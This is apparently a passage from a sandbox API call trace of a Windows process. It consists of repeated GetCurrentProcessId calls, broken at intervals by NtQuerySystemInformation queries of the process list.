0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.211] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.212] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.213] GetCurrentProcessId () returned 0xbf4 [0210.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.832] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.833] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.834] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0210.835] GetCurrentProcessId () returned 0xbf4 [0211.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.582] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.583] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.584] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0211.585] GetCurrentProcessId () returned 0xbf4 [0212.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.288] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.289] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.290] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.291] GetCurrentProcessId () returned 0xbf4 [0212.957] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0212.960] GetCurrentProcessId () returned 0xbf4 [0212.960] GetCurrentProcessId () returned 0xbf4 [0212.960] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.961] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.962] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0212.963] GetCurrentProcessId () returned 0xbf4 [0213.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc70) returned 0x0 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.637] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 [0213.638] GetCurrentProcessId () returned 0xbf4 